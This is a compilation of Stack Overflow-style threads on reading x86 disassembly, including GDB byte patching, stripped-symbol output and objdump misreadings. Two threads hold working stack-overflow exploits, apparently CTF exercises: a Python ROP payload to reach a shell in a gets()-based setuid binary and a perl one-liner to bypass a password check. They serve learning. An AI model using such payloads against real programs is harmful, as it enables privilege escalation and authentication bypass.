I have only the .out file and I am trying to change an integer with GDB.
(gdb) disas/r main
Dump of assembler code for function main:
0x080484da <+0>: 8d 4c 24 04 lea 0x4(%esp),%ecx
0x080484de <+4>: 83 e4 f0 and $0xfffffff0,%esp
0x080484e1 <+7>: ff 71 fc pushl -0x4(%ecx)
0x080484e4 <+10>: 55 push %ebp
0x080484e5 <+11>: 89 e5 mov %esp,%ebp
0x080484e7 <+13>: 51 push %ecx
0x080484e8 <+14>: 83 ec 14 sub $0x14,%esp
0x080484eb <+17>: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
0x080484f2 <+24>: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
0x080484f9 <+31>: 83 ec 0c sub $0xc,%esp
0x080484fc <+34>: 6a 00 push $0x0
0x080484fe <+36>: e8 6d fe ff ff call 0x8048370 <time#plt>
0x08048503 <+41>: 83 c4 10 add $0x10,%esp
0x08048506 <+44>: 83 ec 0c sub $0xc,%esp
0x08048509 <+47>: 50 push %eax
0x0804850a <+48>: e8 81 fe ff ff call 0x8048390 <srand#plt>
0x0804850f <+53>: 83 c4 10 add $0x10,%esp
0x08048512 <+56>: e8 99 fe ff ff call 0x80483b0 <rand#plt>
0x08048517 <+61>: 89 c1 mov %eax,%ecx
0x08048519 <+63>: ba 67 66 66 66 mov $0x66666667,%edx
0x0804851e <+68>: 89 c8 mov %ecx,%eax
0x08048520 <+70>: f7 ea imul %edx
0x08048522 <+72>: c1 fa 02 sar $0x2,%edx
0x08048525 <+75>: 89 c8 mov %ecx,%eax
0x08048527 <+77>: c1 f8 1f sar $0x1f,%eax
0x0804852a <+80>: 29 c2 sub %eax,%edx
0x0804852c <+82>: 89 d0 mov %edx,%eax
0x0804852e <+84>: 89 45 f4 mov %eax,-0xc(%ebp)
0x08048531 <+87>: 8b 55 f4 mov -0xc(%ebp),%edx
0x08048534 <+90>: 89 d0 mov %edx,%eax
0x08048536 <+92>: c1 e0 02 shl $0x2,%eax
0x08048539 <+95>: 01 d0 add %edx,%eax
0x0804853b <+97>: 01 c0 add %eax,%eax
0x0804853d <+99>: 29 c1 sub %eax,%ecx
0x0804853f <+101>: 89 c8 mov %ecx,%eax
0x08048541 <+103>: 89 45 f4 mov %eax,-0xc(%ebp)
0x08048544 <+106>: 83 ec 08 sub $0x8,%esp
0x08048547 <+109>: ff 75 f4 pushl -0xc(%ebp)
0x0804854a <+112>: 68 50 86 04 08 push $0x8048650
0x0804854f <+117>: e8 0c fe ff ff call 0x8048360 <printf#plt>
0x08048554 <+122>: 83 c4 10 add $0x10,%esp
0x08048557 <+125>: 83 7d f4 05 cmpl $0x5,-0xc(%ebp)
0x0804855b <+129>: 7e 2a jle 0x8048587 <main+173>
==> 0x0804855d <+131>: c7 45 f0 00 04 00 00 movl $0x400,-0x10(%ebp)
0x08048564 <+138>: 83 ec 0c sub $0xc,%esp
0x08048567 <+141>: ff 75 f0 pushl -0x10(%ebp)
0x0804856a <+144>: e8 5c ff ff ff call 0x80484cb <dump>
0x0804856f <+149>: 83 c4 10 add $0x10,%esp
0x08048572 <+152>: 83 ec 08 sub $0x8,%esp
0x08048575 <+155>: ff 75 f0 pushl -0x10(%ebp)
0x08048578 <+158>: 68 82 86 04 08 push $0x8048682
0x0804857d <+163>: e8 de fd ff ff call 0x8048360 <printf#plt>
0x08048582 <+168>: 83 c4 10 add $0x10,%esp
0x08048585 <+171>: eb 28 jmp 0x80485af <main+213>
0x08048587 <+173>: c7 45 f0 8f 02 00 00 movl $0x28f,-0x10(%ebp)
0x0804858e <+180>: 83 ec 0c sub $0xc,%esp
0x08048591 <+183>: ff 75 f0 pushl -0x10(%ebp)
0x08048594 <+186>: e8 32 ff ff ff call 0x80484cb <dump>
0x08048599 <+191>: 83 c4 10 add $0x10,%esp
0x0804859c <+194>: 83 ec 08 sub $0x8,%esp
0x0804859f <+197>: ff 75 f0 pushl -0x10(%ebp)
0x080485a2 <+200>: 68 82 86 04 08 push $0x8048682
0x080485a7 <+205>: e8 b4 fd ff ff call 0x8048360 <printf#plt>
0x080485ac <+210>: 83 c4 10 add $0x10,%esp
0x080485af <+213>: 83 ec 0c sub $0xc,%esp
0x080485b2 <+216>: 6a 05 push $0x5
0x080485b4 <+218>: e8 c7 fd ff ff call 0x8048380 <sleep#plt>
0x080485b9 <+223>: 83 c4 10 add $0x10,%esp
0x080485bc <+226>: e9 51 ff ff ff jmp 0x8048512 <main+56>
End of assembler dump.
I have to change 400 with 500 in line 0x0804855d <+131> so I do
set *(0x0804855d+4) = 0x05
and then
(gdb) disas/r main
.....
0x0804855d <+131>: c7 45 f0 00 05 00 00 movl $0x500,-0x10(%edb)
.....
But when I will try to run it I will get SIGILL and the execution will stop.
Anything obvious? Or not.?
Ross Ridge is exactly right.
Instead of set *(0x0804855d+4) = 0x05, you should do set *(0x0804855d+3) = 0x500, or set *(char*)0x8048561 = 0x5
Related
I have a simple c file:
// filename: test.c
void fun() {}
Then I compile test.c to libtest.so using commands:
gcc -shared -fPIC -Wl,--gc-sections -ffunction-sections -fdata-sections -o libtest.so test.c
strip -s ./libtest.so
Then use readelf to print symbols and its size:
readelf -sW ./libtest.so
I got:
Symbol table '.dynsym' contains 11 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000420 0 SECTION LOCAL DEFAULT 9
2: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
4: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize#GLIBC_2.2.5 (2)
5: 00000000002007c8 0 NOTYPE GLOBAL DEFAULT ABS _end
6: 00000000002007b8 0 NOTYPE GLOBAL DEFAULT ABS _edata
7: 00000000002007b8 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
8: 0000000000000420 0 FUNC GLOBAL DEFAULT 9 _init
9: 000000000000052a 6 FUNC GLOBAL DEFAULT 11 fun
10: 0000000000000568 0 FUNC GLOBAL DEFAULT 12 _fini
Then use objdump to disassemble .text section of libtest.so:
objdump -S -d -j .text ./libtest.so
I got:
./libtest.so: file format elf64-x86-64
Disassembly of section .text:
0000000000000460 <fun-0xca>:
460: 48 83 ec 08 sub $0x8,%rsp
464: 48 8b 05 15 03 20 00 mov 0x200315(%rip),%rax # 200780 <_fini+0x200218>
46b: 48 85 c0 test %rax,%rax
46e: 74 02 je 472 <__cxa_finalize#plt+0x2a>
470: ff d0 callq *%rax
472: 48 83 c4 08 add $0x8,%rsp
476: c3 retq
477: 90 nop
478: 90 nop
479: 90 nop
47a: 90 nop
47b: 90 nop
47c: 90 nop
47d: 90 nop
47e: 90 nop
47f: 90 nop
480: 55 push %rbp
481: 80 3d 30 03 20 00 00 cmpb $0x0,0x200330(%rip) # 2007b8 <__bss_start>
488: 48 89 e5 mov %rsp,%rbp
48b: 41 54 push %r12
48d: 53 push %rbx
48e: 75 62 jne 4f2 <__cxa_finalize#plt+0xaa>
490: 48 83 3d f8 02 20 00 cmpq $0x0,0x2002f8(%rip) # 200790 <_fini+0x200228>
497: 00
498: 74 0c je 4a6 <__cxa_finalize#plt+0x5e>
49a: 48 8d 3d 57 01 20 00 lea 0x200157(%rip),%rdi # 2005f8 <_fini+0x200090>
4a1: e8 a2 ff ff ff callq 448 <__cxa_finalize#plt>
4a6: 48 8d 1d 3b 01 20 00 lea 0x20013b(%rip),%rbx # 2005e8 <_fini+0x200080>
4ad: 4c 8d 25 2c 01 20 00 lea 0x20012c(%rip),%r12 # 2005e0 <_fini+0x200078>
4b4: 48 8b 05 05 03 20 00 mov 0x200305(%rip),%rax # 2007c0 <__bss_start+0x8>
4bb: 4c 29 e3 sub %r12,%rbx
4be: 48 c1 fb 03 sar $0x3,%rbx
4c2: 48 83 eb 01 sub $0x1,%rbx
4c6: 48 39 d8 cmp %rbx,%rax
4c9: 73 20 jae 4eb <__cxa_finalize#plt+0xa3>
4cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4d0: 48 83 c0 01 add $0x1,%rax
4d4: 48 89 05 e5 02 20 00 mov %rax,0x2002e5(%rip) # 2007c0 <__bss_start+0x8>
4db: 41 ff 14 c4 callq *(%r12,%rax,8)
4df: 48 8b 05 da 02 20 00 mov 0x2002da(%rip),%rax # 2007c0 <__bss_start+0x8>
4e6: 48 39 d8 cmp %rbx,%rax
4e9: 72 e5 jb 4d0 <__cxa_finalize#plt+0x88>
4eb: c6 05 c6 02 20 00 01 movb $0x1,0x2002c6(%rip) # 2007b8 <__bss_start>
4f2: 5b pop %rbx
4f3: 41 5c pop %r12
4f5: c9 leaveq
4f6: c3 retq
4f7: 66 0f 1f 84 00 00 00 nopw 0x0(%rax,%rax,1)
4fe: 00 00
500: 48 83 3d e8 00 20 00 cmpq $0x0,0x2000e8(%rip) # 2005f0 <_fini+0x200088>
507: 00
508: 55 push %rbp
509: 48 89 e5 mov %rsp,%rbp
50c: 74 1a je 528 <__cxa_finalize#plt+0xe0>
50e: 48 8b 05 73 02 20 00 mov 0x200273(%rip),%rax # 200788 <_fini+0x200220>
515: 48 85 c0 test %rax,%rax
518: 74 0e je 528 <__cxa_finalize#plt+0xe0>
51a: 48 8d 3d cf 00 20 00 lea 0x2000cf(%rip),%rdi # 2005f0 <_fini+0x200088>
521: c9 leaveq
522: ff e0 jmpq *%rax
524: 0f 1f 40 00 nopl 0x0(%rax)
528: c9 leaveq
529: c3 retq
000000000000052a <fun>:
52a: 55 push %rbp
52b: 48 89 e5 mov %rsp,%rbp
52e: c9 leaveq
52f: c3 retq
530: 55 push %rbp
531: 48 89 e5 mov %rsp,%rbp
534: 53 push %rbx
535: 48 83 ec 08 sub $0x8,%rsp
539: 48 8b 05 90 00 20 00 mov 0x200090(%rip),%rax # 2005d0 <_fini+0x200068>
540: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
544: 74 19 je 55f <fun+0x35>
546: 48 8d 1d 83 00 20 00 lea 0x200083(%rip),%rbx # 2005d0 <_fini+0x200068>
54d: 0f 1f 00 nopl (%rax)
550: 48 83 eb 08 sub $0x8,%rbx
554: ff d0 callq *%rax
556: 48 8b 03 mov (%rbx),%rax
559: 48 83 f8 ff cmp $0xffffffffffffffff,%rax
55d: 75 f1 jne 550 <fun+0x26>
55f: 48 83 c4 08 add $0x8,%rsp
563: 5b pop %rbx
564: c9 leaveq
565: c3 retq
We can tell that the size of symbol fun is 6 which is correspond to virtual address 0x52a ~ 0x52f.
I have two question:
what does symbol fun-0xca do?
what does assembly code from 0x530 to 0x565 in symbol fun do?
Omit the strip -s ./libtest.so.
In the GCC-created libtest.so, each separate function has a symbol in the symbol table. objdump -drwC -Mintel libtest.so will show names for each one, like _init, deregister_tm_clones, register_tm_clones, and __do_global_dtors_aux. These come from CRT startup code, I think; use gcc -v when you're linking to see any extra .o files it passes to ld.
Stripping symbols removes that information, leaving machine code in the text section without a symbol name. The only symbol left for objdump to reference is fun, so it labels the first block of code relative to that, as fun-0xca.
I am trying to get a shell by overflowing the stack, but no matter what I do it doesn't work. ASLR is On, but stack cookies are off and I can't execute code on the stack. here is the code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void secret() {
system("bash");
}
void start() {
char user[32];
puts("User : ");
gets(user);
write(1, "Hello ", 6);
write(1, user, strlen(user));
puts("!");
}
void main() {
if (seteuid(1001) == -1 || setuid(1001) == -1 || setegid(1001) == -1 || setgid(1001) == -1) {
printf("Error for 'setuid'\n");
}
setvbuf(stdout, NULL, _IONBF, 0x500);
start();
}
As soon as the stack is overlfowed, execve called in system.c, return a zombie shell. Even tought i call secret in real code.
here is my python silly script
buf = ""
buf += "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#secret call
buf += struct.pack("<Q", 0x000055555555491a)
f = open("payload", "w")
f.write(buf)
and here is the dasm of the exec
000000000000091a <secret>:
91a: 55 push %rbp
91b: 48 89 e5 mov %rsp,%rbp
91e: 48 8d 3d 6f 01 00 00 lea 0x16f(%rip),%rdi # a94 <_IO_stdin_used+0x4>
925: e8 66 fe ff ff callq 790 <system#plt>
92a: 90 nop
92b: 5d pop %rbp
92c: c3 retq
000000000000092d <start>:
92d: 55 push %rbp
92e: 48 89 e5 mov %rsp,%rbp
931: 48 83 ec 20 sub $0x20,%rsp
935: 48 8d 3d 5d 01 00 00 lea 0x15d(%rip),%rdi # a99 <_IO_stdin_used+0x9>
93c: e8 1f fe ff ff callq 760 <puts#plt>
941: 48 8d 45 e0 lea -0x20(%rbp),%rax
945: 48 89 c7 mov %rax,%rdi
948: b8 00 00 00 00 mov $0x0,%eax
94d: e8 4e fe ff ff callq 7a0 <gets#plt>
952: ba 06 00 00 00 mov $0x6,%edx
957: 48 8d 35 43 01 00 00 lea 0x143(%rip),%rsi # aa1 <_IO_stdin_used+0x11>
95e: bf 01 00 00 00 mov $0x1,%edi
963: e8 08 fe ff ff callq 770 <write#plt>
968: 48 8d 45 e0 lea -0x20(%rbp),%rax
96c: 48 89 c7 mov %rax,%rdi
96f: e8 0c fe ff ff callq 780 <strlen#plt>
974: 48 89 c2 mov %rax,%rdx
977: 48 8d 45 e0 lea -0x20(%rbp),%rax
97b: 48 89 c6 mov %rax,%rsi
97e: bf 01 00 00 00 mov $0x1,%edi
983: e8 e8 fd ff ff callq 770 <write#plt>
988: 48 8d 3d 19 01 00 00 lea 0x119(%rip),%rdi # aa8 <_IO_stdin_used+0x18>
98f: e8 cc fd ff ff callq 760 <puts#plt>
994: 90 nop
995: c9 leaveq
996: c3 retq
0000000000000997 <main>:
997: 55 push %rbp
998: 48 89 e5 mov %rsp,%rbp
99b: bf e9 03 00 00 mov $0x3e9,%edi
9a0: e8 4b fe ff ff callq 7f0 <seteuid#plt>
9a5: 83 f8 ff cmp $0xffffffff,%eax
9a8: 74 2d je 9d7 <main+0x40>
9aa: bf e9 03 00 00 mov $0x3e9,%edi
9af: e8 1c fe ff ff callq 7d0 <setuid#plt>
9b4: 83 f8 ff cmp $0xffffffff,%eax
9b7: 74 1e je 9d7 <main+0x40>
9b9: bf e9 03 00 00 mov $0x3e9,%edi
9be: e8 1d fe ff ff callq 7e0 <setegid#plt>
9c3: 83 f8 ff cmp $0xffffffff,%eax
9c6: 74 0f je 9d7 <main+0x40>
9c8: bf e9 03 00 00 mov $0x3e9,%edi
9cd: e8 ee fd ff ff callq 7c0 <setgid#plt>
9d2: 83 f8 ff cmp $0xffffffff,%eax
9d5: 75 0c jne 9e3 <main+0x4c>
9d7: 48 8d 3d cc 00 00 00 lea 0xcc(%rip),%rdi # aaa <_IO_stdin_used+0x1a>
9de: e8 7d fd ff ff callq 760 <puts#plt>
9e3: 48 8b 05 8e 06 20 00 mov 0x20068e(%rip),%rax # 201078 <stdout##GLIBC_2.2.5>
9ea: b9 00 05 00 00 mov $0x500,%ecx
9ef: ba 02 00 00 00 mov $0x2,%edx
9f4: be 00 00 00 00 mov $0x0,%esi
9f9: 48 89 c7 mov %rax,%rdi
9fc: e8 af fd ff ff callq 7b0 <setvbuf#plt>
a01: b8 00 00 00 00 mov $0x0,%eax
a06: e8 22 ff ff ff callq 92d <start>
a0b: 90 nop
a0c: 5d pop %rbp
a0d: c3 retq
a0e: 66 90 xchg %ax,%ax
please help
Edit
I managed to cat a file by doing..
import struct
buf = "A"*32
# RBP
buf += struct.pack("<Q", 0x7fffffffe1c0)
#POP RDI
buf += struct.pack("<Q", 0x0000000000000a73+0x555555554000)
buf += struct.pack("<Q", 0x7fffffffe1d0)
# call secret
buf += struct.pack("<Q", 0x0000555555554925)
buf += "cat flag.txt\x00"
Does this means i would have to take a register with close address to 0x7fffffffe1d0 and add a constant when aslr is on using a gadget?
The disassembly of nanosleep in libc-2.7.so on 64-bit Linux looks like this:
Disassembly of section .text:
00000000000bd460 <__nanosleep>:
cmpl $0x0,__libc_multiple_threads
jne 10
00000000000bd469 <__nanosleep_nocancel>:
mov $0x23,%eax
syscal
10: cmp $0xfffffffffffff001,%rax
jae 40
retq
sub $0x8,%rsp
callq __libc_enable_asynccancel
mov %rax,(%rsp)
mov $0x23,%eax
syscal
mov (%rsp),%rdi
mov %rax,%rdx
callq __libc_disable_asynccancel
mov %rdx,%rax
add $0x8,%rsp
40: cmp $0xfffffffffffff001,%rax
jae 40
retq
mov _DYNAMIC+0x2e0,%rcx
neg %eax
mov %eax,%fs:(%rcx)
or $0xffffffffffffffff,%rax
retq
Near the bottom of this assembly code, there is this polling loop:
40: cmp $0xfffffffffffff001,%rax
jae 40
How would the value of rax change while this loop is executing? Wouldn't it either loop forever or not at all? What is this loop meant to accomplish?
I suspect this is related to the syscall instruction since the return value of syscall is put into register rax, but I'm not sure how this is related exactly. The way the code is written makes it look like syscall doesn't block and the value in rax changes spontaneously but that doesn't seem right.
I'm interested to know what's going on here.
I don't see these spin loops.
Here's what I get from objdump -d /lib/x86_64-linux-gnu/libc.so.6, with what you show as loops highlighted with ** and the address they jump to with ->.
00000000000c0f10 <__nanosleep>:
c0f10: 83 3d 5d 31 30 00 00 cmpl $0x0,0x30315d(%rip) # 3c4074 <argp_program_version_hook+0x1cc>
c0f17: 75 10 jne c0f29 <__nanosleep+0x19>
c0f19: b8 23 00 00 00 mov $0x23,%eax
c0f1e: 0f 05 syscall
c0f20: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f26: 73 31 jae c0f59 <__nanosleep+0x49>
c0f28: c3 retq
c0f29: 48 83 ec 08 sub $0x8,%rsp
c0f2d: e8 3e 72 04 00 callq 108170 <pthread_setcanceltype+0x80>
c0f32: 48 89 04 24 mov %rax,(%rsp)
c0f36: b8 23 00 00 00 mov $0x23,%eax
c0f3b: 0f 05 syscall
c0f3d: 48 8b 3c 24 mov (%rsp),%rdi
c0f41: 48 89 c2 mov %rax,%rdx
c0f44: e8 87 72 04 00 callq 1081d0 <pthread_setcanceltype+0xe0>
c0f49: 48 89 d0 mov %rdx,%rax
c0f4c: 48 83 c4 08 add $0x8,%rsp
c0f50: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax
** c0f56: 73 01 jae c0f59 <__nanosleep+0x49>
c0f58: c3 retq
-> c0f59: 48 8b 0d 08 cf 2f 00 mov 0x2fcf08(%rip),%rcx # 3bde68 <_IO_file_jumps+0x7c8>
c0f60: f7 d8 neg %eax
c0f62: 64 89 01 mov %eax,%fs:(%rcx)
c0f65: 48 83 c8 ff or $0xffffffffffffffff,%rax
c0f69: c3 retq
c0f6a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
The rest of the code is similar. Maybe it's an issue with the disassembly?
I've been reading and studying assembly code. Code is below
Disassembly of section .text:
08048510 <main>:
8048510: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048514: 83 e4 f0 and $0xfffffff0,%esp
8048517: ff 71 fc pushl -0x4(%ecx)
804851a: 55 push %ebp
804851b: 89 e5 mov %esp,%ebp
804851d: 51 push %ecx
804851e: 83 ec 08 sub $0x8,%esp
8048521: 68 e0 93 04 08 push $0x80493e0
8048526: 68 c0 93 04 08 push $0x80493c0
804852b: 68 c9 93 04 08 push $0x80493c9
8048530: e8 7a 07 00 00 call 8048caf <eos_printf>
8048535: c7 04 24 d6 93 04 08 movl $0x80493d6,(%esp)
804853c: e8 6e 07 00 00 call 8048caf <eos_printf>
8048541: a1 38 c0 04 08 mov 0x804c038,%eax
8048546: bc 00 00 00 00 mov $0x0,%esp
804854b: ff e0 jmp *%eax
804854d: 8b 4d fc mov -0x4(%ebp),%ecx
8048550: 31 c0 xor %eax,%eax
8048552: c7 05 34 c0 04 08 00 movl $0x0,0x804c034
8048559: 00 00 00
804855c: c9 leave
804855d: 8d 61 fc lea -0x4(%ecx),%esp
8048560: c3 ret
Disassembly of section .data:
0804c030 <_irq_mask>:
804c030: ff (bad)
804c031: ff (bad)
804c032: ff (bad)
804c033: ff 01 incl (%ecx)
0804c034 <_eflags>:
804c034: 01 00 add %eax,(%eax)
...
0804c038 <_vector>:
804c038: 1d 8d 04 08 1d sbb $0x1d08048d,%eax
804c03d: 8d 04 08 lea (%eax,%ecx,1),%eax
804c040: 1d 8d 04 08 37 sbb $0x3708048d,%eax
804c045: 8d 04 08 lea (%eax,%ecx,1),%eax
At 0x8048541, EAX register is set to 0x804c038
At 0x804854b, process jump to the address pointed by EAX register
At 0x804c048, the instruction is < sbb $0x1d08048d, %eax>
By the instruction manual, sbb is stand for dest = dest - (src+carry flag). So we can replace 0x804c048 instruction to %eax = $eax - ($0x1d08048d + carry flag).
Then.... at that time, what value is set to carry flag value?
I didn't find any carry flag setting instruction previous to the 0x804c048 line. Is the carry flag is initially set to 0?
And the second question is, at 0x804854b, process jump to *%eax value. After that, how the process return to main function? there is nothing return instruction in _vector section.
I'll be glad to your help. Thanks.
Oh........ #MarkPlotnick You are God to me...... I was totally trapped in the < sbb $0x1d08048d, %eax >.
In the assembly source code, _vector array and _os_reset_handler function is defined as below.
.data
.global _vector
_vector:
.long _os_reset_handler
.long _os_reset_handler
.long _os_reset_handler
.long _os_irq_handler
.text
.global _os_reset_handler
_os_reset_handler:
_CLI
lea _os_init_stack_end, %esp
call _os_initialization
jmp _os_reset_handler
-----------------------
_CLI is defined in another c header file as macro
#define _CLI \
movl $0, _eflags;
I was consistently wondering why _vector array is not contain _os_reset_handler address. I read the disassembled code again and found that the objdump misaligned the hexcode at _vector data. "0x1d (address at 0x804c03c)" didn't go to new line, so it interpreted to irrelevant assembly code. (I'm very unhappy. I didn't do any other work to catch this problem for 10 hours...)
Anyway. At the address 0x8048d1d, there is _os_reset_handler function.
08048d1d <_os_reset_handler>:
8048d1d: c7 05 34 c0 04 08 00 movl $0x0,0x804c034
8048d24: 00 00 00
8048d27: 8d 25 48 d0 04 08 lea 0x804d048,%esp
8048d2d: e8 07 01 00 00 call 8048e39 <_os_initialization>
8048d32: e9 e6 ff ff ff jmp 8048d1d <_os_reset_handler>
No more questions. Thanks.
I have a linux executable and its disassembly (in particular, the program checks if I'm superuser, and if so, output some message by executing function "start_reactor" and exit; if I'm not a superuser the program call another function "check_password"), what I need is to find a way to crack it (execute function "start_reactor") by entering some specific string as an input for function "check_password".
Below is dissasembly of an executable..
08048504 <check_password>:
8048504: 55 push ebp
8048505: 89 e5 mov ebp,esp
8048507: b8 00 00 00 00 mov eax,0x0
804850c: 5d pop ebp
804850d: c3 ret
0804850e <start_reactor>:
804850e: 55 push ebp
804850f: 89 e5 mov ebp,esp
8048511: 83 ec 04 sub esp,0x4
8048514: c7 04 24 90 86 04 08 mov DWORD PTR [esp],0x8048690
804851b: e8 0c ff ff ff call 804842c <printf#plt>
8048520: c7 04 24 2e 00 00 00 mov DWORD PTR [esp],0x2e
8048527: e8 d0 fe ff ff call 80483fc <putchar#plt>
804852c: a1 60 98 04 08 mov eax,ds:0x8049860
8048531: 89 04 24 mov DWORD PTR [esp],eax
8048534: e8 e3 fe ff ff call 804841c <fflush#plt>
8048539: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
8048540: e8 07 ff ff ff call 804844c <sleep#plt>
8048545: eb d9 jmp 8048520 <start_reactor+0x12>
08048547 <main>:
8048547: 55 push ebp
8048548: 89 e5 mov ebp,esp
804854a: 83 ec 1c sub esp,0x1c
804854d: c7 45 f8 be ba fe ca mov DWORD PTR [ebp-0x8],0xcafebabe
8048554: e8 e3 fe ff ff call 804843c <getuid#plt>
8048559: 85 c0 test eax,eax
804855b: 0f 94 c0 sete al
804855e: 0f b6 c0 movzx eax,al
8048561: 89 45 fc mov DWORD PTR [ebp-0x4],eax
8048564: 83 7d fc 00 cmp DWORD PTR [ebp-0x4],0x0
8048568: 75 24 jne 804858e <main+0x47>
804856a: c7 04 24 b0 86 04 08 mov DWORD PTR [esp],0x80486b0
8048571: e8 b6 fe ff ff call 804842c <printf#plt>
8048576: a1 60 98 04 08 mov eax,ds:0x8049860
804857b: 89 04 24 mov DWORD PTR [esp],eax
804857e: e8 99 fe ff ff call 804841c <fflush#plt>
8048583: 8d 45 e8 lea eax,[ebp-0x18]
8048586: 89 04 24 mov DWORD PTR [esp],eax
8048589: e8 5e fe ff ff call 80483ec <gets#plt>
804858e: 81 7d f8 be ba fe ca cmp DWORD PTR [ebp-0x8],0xcafebabe
8048595: 74 18 je 80485af <main+0x68>
8048597: c7 04 24 d8 86 04 08 mov DWORD PTR [esp],0x80486d8
804859e: e8 b9 fe ff ff call 804845c <puts#plt>
80485a3: c7 04 24 ff ff ff ff mov DWORD PTR [esp],0xffffffff
80485aa: e8 bd fe ff ff call 804846c <exit#plt>
80485af: 83 7d fc 00 cmp DWORD PTR [ebp-0x4],0x0
80485b3: 75 0f jne 80485c4 <main+0x7d>
80485b5: 8d 45 e8 lea eax,[ebp-0x18]
80485b8: 89 04 24 mov DWORD PTR [esp],eax
80485bb: e8 44 ff ff ff call 8048504 <check_password>
80485c0: 85 c0 test eax,eax
80485c2: 74 05 je 80485c9 <main+0x82>
80485c4: e8 45 ff ff ff call 804850e <start_reactor>
80485c9: c9 leave
80485ca: c3 ret
80485cb: 90 nop
80485cc: 90 nop
80485cd: 90 nop
80485ce: 90 nop
80485cf: 90 nop
..and result of a reverse ingeneering using IDA.
int __cdecl main()
{
__uid_t v0; // eax#1
int result; // eax#7
char s; // [sp+4h] [bp-18h]#2
int v3; // [sp+14h] [bp-8h]#1
bool v4; // [sp+18h] [bp-4h]#1
v3 = -889275714;
v0 = getuid();
v4 = v0 == 0;
if ( v0 != 0 )
{
printf("Please enter the password to continue: ");
fflush(stdout);
gets(&s);
}
if ( v3 != -889275714 )
{
puts(" ");
exit(-1);
}
if ( v4 || (result = check_password()) != 0 )
start_reactor();
return result;
}
I'm really new to Assembler.. :(
It's a buffer overflow exploitation.
You have to overflow s to write over v3 and v4.
This let me think that s is a char s[16] :
char s; // [sp+4h] [bp-18h]#2 // 18h - 8h = 10h
int v3; // [sp+14h] [bp-8h]#1
But in v3 you have to put in -889275714, so in hexadecimal 0xcafebabe (<3 it btw :D)
And then override the boolean with 0x01
so basically, you want to launch your binary with :
perl -e 'print "junk_for_sssssss\xbe\xba\xfe\xca\x01"' | ./binary
To be noted that you need to enter \xbe\xba\xfe\xca and not \xca\xfe\xba\xbe because of your potential little endian architecture
It appears to me you already know enough about the program. Run it using fakeroot (and maybe a VM - depending on where you got this from).
Not that check_output does nothing but return 0, so there is no way to convince it to execute start_reactor without rewriting the assembly or starting it as root or with fakeroot.
08048504 <check_password>:
8048504: 55 push ebp // function header
8048505: 89 e5 mov ebp,esp // function header
8048507: b8 00 00 00 00 mov eax,0x0 // result = 0
804850c: 5d pop ebp // function footer
804850d: c3 ret // return to callee
Of course if you want to modify the file (on disk or in memory) then there are a million ways to crack this (eg. change some jump so that it points to the start_reactor function is a standard approach). And you could always reverse the start_reactor function itself, as it is rather short - in which case I would advice you to look for the individual commands via google and try to understand what it does yourself...